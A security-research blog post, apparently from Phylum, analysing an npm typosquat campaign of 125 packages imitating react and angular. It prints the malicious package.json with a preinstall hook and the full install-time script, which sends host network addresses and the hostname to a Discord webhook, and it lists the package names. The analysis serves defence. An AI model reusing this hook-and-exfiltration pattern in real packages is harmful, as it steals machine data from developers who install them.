Large Typosquat Campaign Targeting React and Angular

Large Typosquat Campaign Targeting React and Angular

Phylum is tracking a large typosquat campaign targeting the npm ecosystem. A user is currently publishing many typosquat packages masquerading as react and angular. As of this writing, 125 packages have been released in what appears to be an ongoing campaign. We are reporting these packages as we encounter them and have reported the Discord webhook for removal.

--cta--

Technical Details

Inspecting the package.json we find a preinstall hook that initiates execution:

{
  "name": "zngularjs",
  "version": "1.1.2",
  "description": "Research project",
  "main": "index.js",
  "scripts": {
    "test": "echo \\"Error: no test specified\\" && exit 1",
    "preinstall": "node new.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/serialfuzzer/AngulerJS.git"
  },
  "keywords": [
    "dependency_confusion"
  ],
  "author": "serialfuzzer",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/serialfuzzer/AngulerJS/issues"
  },
  "homepage": "https://github.com/serialfuzzer/AngulerJS#readme"
}

Inside the new.js we find the following (formatted for readability):

function sendToDiscord(e, t) {
    const o = new URL(e),
        n = JSON.stringify({
            content: t
        }),
        s = {
            hostname: o.hostname,
            port: 443,
            path: o.pathname + o.search,
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "Content-Length": n.length
            }
        },
        r = https.request(s, e => {});
    r.on("error", e => {
        console.error(e)
    }), r.write(n), r.end()
}
const https = require("https"),
    os = require("os"),
    main = ! function() {
        var e = "https://discord.com/api/webhooks/1155988140591419412/bleuGvUtBCzaGsAkAI1MT9Yd-6YxHuUlZe91XSdfioky5-0e3gzeW4ztWskX1qYjSxzr";
        const t = Object.keys(os.networkInterfaces()).map(e => os.networkInterfaces()[e][0].address).join(",").concat(", " + os.hostname());
        return sendToDiscord(e, t), {}
    }();
module.exports = main;

This is a fairly rudimentary attempt at data exfiltration that sends information about network interfaces to a remote Discord channel. We’ve reported the Discord webhook and have ensured that it has been disabled. Any existing packages will now be unable to communicate with the package author.

A Research Project?

As with most of these campaigns, it’s difficult to determine intent. Is this part of a misguided research project? A malicious campaign masquerading as a bug bounty attempt? It’s hard to say. Even in cases where we'd be inclined to give the author the benefit of the doubt, we've seen subsequent packages become clearly malicious before.

In this case, the package.json makes a reference to a GitHub repository. Since this field is entirely user-provided, we've reached out to the GitHub user to determine whether they are affiliated with this campaign and to hopefully determine intent.

Screenshot 2023-09-25 at 23.17.39.png
The GitHub repository referenced from the package.json
ℹ️
The author responded to our inquiry about the nature of these packages. According to them, these packages are to "find out if any of the bug bounty programs I'm participating in gets affected by one of the packages so that I could be the first one to notify them and protect their infrastructure." and "Find out how many people make mistakes such as this." They note that only machine information is collected. Readers should note that in the best case, this is in violation of the npm Acceptable Use Policy, and these sorts of campaigns put a strain on individuals tasked with keeping these ecosystems clean.

Towards More Secure npm Development

One of the more disconcerting facts about modern software development is the fact that so much of it involves relying on and executing code written by unknown users from the internet. To address this, Phylum has open-sourced its sandbox Star that locks down network, disk and environment resources. This sandbox is built into our (also open sourced) CLI Star so that users can run things like:

phylum npm install <pkgName>

Below is the actual behavior of the sandbox on one of the packages from the above campaign. When the package attempts to reach out to the Discord webhook, the installation process is aborted. Please note that we had to pull the tar.gz from our file storage, as the package in question had already been removed by npm. In a real scenario, this package would've been blocked by the Phylum package pre-check before it even had a chance to run in the sandbox!

Typosquats remain a popular distribution technique for malware. This is one of the larger typosquat activities we've seen this year and should serve as a constant reminder that actors continue to publish malicious packages into our open-source package repositories.

The Packages

Given the speed that these packages were published, it seems likely that publications are automated. It is not entirely clear how some of these packages names were generated, as many have edit distances far away from the actual angular and react package names. It seems reasonable the edits are also automated, resulting in some non-human like "typos".

Name Version Created
anoularjs 1.1.2 Tue, 26 Sep 2023 03:04:26 GMT
angslarjs 1.1.2 Tue, 26 Sep 2023 03:04:25 GMT
ankularjs 1.1.2 Tue, 26 Sep 2023 03:04:24 GMT
anxularjs 1.1.2 Tue, 26 Sep 2023 03:04:22 GMT
angnlarjs 1.1.2 Tue, 26 Sep 2023 03:04:22 GMT
angglarjs 1.1.2 Tue, 26 Sep 2023 03:04:19 GMT
anzularjs 1.1.2 Tue, 26 Sep 2023 03:04:17 GMT
angtlarjs 1.1.2 Tue, 26 Sep 2023 03:04:17 GMT
aniularjs 1.1.2 Tue, 26 Sep 2023 03:04:16 GMT
anbularjs 1.1.2 Tue, 26 Sep 2023 03:04:15 GMT
anyularjs 1.1.2 Tue, 26 Sep 2023 03:04:14 GMT
angblarjs 1.1.2 Tue, 26 Sep 2023 03:04:13 GMT
annularjs 1.1.2 Tue, 26 Sep 2023 03:04:12 GMT
angmlarjs 1.1.2 Tue, 26 Sep 2023 03:04:09 GMT
angelarjs 1.1.2 Tue, 26 Sep 2023 03:04:08 GMT
anmularjs 1.1.2 Tue, 26 Sep 2023 03:04:07 GMT
angalarjs 1.1.2 Tue, 26 Sep 2023 03:04:07 GMT
anwularjs 1.1.2 Tue, 26 Sep 2023 03:04:05 GMT
anghlarjs 1.1.2 Tue, 26 Sep 2023 03:04:04 GMT
anlularjs 1.1.2 Tue, 26 Sep 2023 03:04:03 GMT
anrularjs 1.1.2 Tue, 26 Sep 2023 03:04:01 GMT
angrlarjs 1.1.2 Tue, 26 Sep 2023 03:03:56 GMT
angilarjs 1.1.2 Tue, 26 Sep 2023 03:03:56 GMT
andularjs 1.1.2 Tue, 26 Sep 2023 03:03:54 GMT
angflarjs 1.1.2 Tue, 26 Sep 2023 03:03:53 GMT
angclarjs 1.1.2 Tue, 26 Sep 2023 03:03:52 GMT
angjlarjs 1.1.2 Tue, 26 Sep 2023 03:03:51 GMT
anuularjs 1.1.2 Tue, 26 Sep 2023 03:03:49 GMT
angdlarjs 1.1.2 Tue, 26 Sep 2023 03:03:48 GMT
angolarjs 1.1.2 Tue, 26 Sep 2023 03:03:46 GMT
angllarjs 1.1.2 Tue, 26 Sep 2023 03:03:46 GMT
anpularjs 1.1.2 Tue, 26 Sep 2023 03:03:45 GMT
ansularjs 1.1.2 Tue, 26 Sep 2023 03:03:44 GMT
angplarjs 1.1.2 Tue, 26 Sep 2023 03:03:43 GMT
angklarjs 1.1.2 Tue, 26 Sep 2023 03:03:42 GMT
anvularjs 1.1.2 Tue, 26 Sep 2023 03:03:40 GMT
antularjs 1.1.2 Tue, 26 Sep 2023 03:03:39 GMT
bngularjs 1.1.2 Tue, 26 Sep 2023 02:36:23 GMT
aggularjs 1.1.2 Tue, 26 Sep 2023 02:36:21 GMT
reacltjs 1.1.2 Tue, 26 Sep 2023 02:36:20 GMT
acgularjs 1.1.2 Tue, 26 Sep 2023 02:36:18 GMT
reacbtjs 1.1.2 Tue, 26 Sep 2023 02:36:15 GMT
rejactjs 1.1.2 Tue, 26 Sep 2023 02:36:13 GMT
akgularjs 1.1.2 Tue, 26 Sep 2023 02:36:11 GMT
ahgularjs 1.1.2 Tue, 26 Sep 2023 02:36:09 GMT
reanctjs 1.1.2 Tue, 26 Sep 2023 02:36:08 GMT
bangularjs 1.1.2 Tue, 26 Sep 2023 02:36:06 GMT
reacttjs 1.1.2 Tue, 26 Sep 2023 02:36:04 GMT
reoactjs 1.1.2 Tue, 26 Sep 2023 02:36:02 GMT
reawctjs 1.1.2 Tue, 26 Sep 2023 02:36:00 GMT
doemailer 1.1.2 Tue, 26 Sep 2023 02:35:59 GMT
reacutjs 1.1.2 Tue, 26 Sep 2023 02:35:57 GMT
reacmtjs 1.1.2 Tue, 26 Sep 2023 02:35:55 GMT
algularjs 1.1.2 Tue, 26 Sep 2023 02:35:53 GMT
dangularjs 1.1.2 Tue, 26 Sep 2023 02:35:51 GMT
dngularjs 1.1.2 Tue, 26 Sep 2023 02:35:49 GMT
hngularjs 1.1.2 Tue, 26 Sep 2023 02:35:46 GMT
reacitjs 1.1.2 Tue, 26 Sep 2023 02:35:44 GMT
zhunkr 1.1.2 Tue, 26 Sep 2023 02:35:43 GMT
augularjs 1.1.2 Tue, 26 Sep 2023 02:35:41 GMT
reazctjs 1.1.2 Tue, 26 Sep 2023 02:35:39 GMT
reacatjs 1.1.2 Tue, 26 Sep 2023 02:35:37 GMT
azgularjs 1.1.2 Tue, 26 Sep 2023 02:35:36 GMT
reapctjs 1.1.2 Tue, 26 Sep 2023 02:35:34 GMT
rekactjs 1.1.2 Tue, 26 Sep 2023 02:35:32 GMT
avgularjs 1.1.2 Tue, 26 Sep 2023 02:35:31 GMT
cangularjs 1.1.2 Tue, 26 Sep 2023 02:35:29 GMT
jngularjs 1.1.2 Tue, 26 Sep 2023 02:35:28 GMT
reacctjs 1.1.2 Tue, 26 Sep 2023 02:35:25 GMT
vngularjs 1.1.2 Tue, 26 Sep 2023 02:35:24 GMT
renactjs 1.1.2 Tue, 26 Sep 2023 02:35:22 GMT
reqactjs 1.1.2 Tue, 26 Sep 2023 02:35:20 GMT
reacntjs 1.1.2 Tue, 26 Sep 2023 02:35:17 GMT
ungularjs 1.1.2 Tue, 26 Sep 2023 02:35:15 GMT
autoprifixir 1.1.2 Tue, 26 Sep 2023 02:35:13 GMT
aygularjs 1.1.2 Tue, 26 Sep 2023 02:35:11 GMT
sngularjs 1.1.2 Tue, 26 Sep 2023 02:35:09 GMT
reacdtjs 1.1.2 Tue, 26 Sep 2023 02:35:08 GMT
pngularjs 1.1.2 Tue, 26 Sep 2023 02:35:06 GMT
reacftjs 1.1.2 Tue, 26 Sep 2023 02:35:04 GMT
anaularjs 1.1.2 Tue, 26 Sep 2023 02:35:02 GMT
adgularjs 1.1.2 Tue, 26 Sep 2023 02:35:00 GMT
gngularjs 1.1.2 Tue, 26 Sep 2023 02:34:58 GMT
aagularjs 1.1.2 Tue, 26 Sep 2023 02:34:55 GMT
refactjs 1.1.2 Tue, 26 Sep 2023 02:34:54 GMT
redactjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reacgtjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
asgularjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
realctjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
nngularjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
recactjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
relactjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
dodemailar 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reractjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reacqtjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reacstjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reaectjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reacotjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reacwtjs 1.1.2 Tue, 26 Sep 2023 02:34:53 GMT
reyactjs 1.1.2 Tue, 26 Sep 2023 02:34:52 GMT
rexactjs 1.1.2 Tue, 26 Sep 2023 02:34:52 GMT
anfularjs 1.1.2 Tue, 26 Sep 2023 02:34:52 GMT
awgularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
reaoctjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
repactjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
readctjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
aegularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
ancularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
reajctjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
reahctjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
afgularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
anhularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
reaqctjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
apgularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
cngularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
lngularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
kngularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
argularjs 1.1.2 Tue, 26 Sep 2023 02:34:51 GMT
reakctjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT
tngularjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT
reagctjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT
reacztjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT
reasctjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT
reacjtjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT
reaxctjs 1.1.2 Tue, 26 Sep 2023 02:34:50 GMT

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.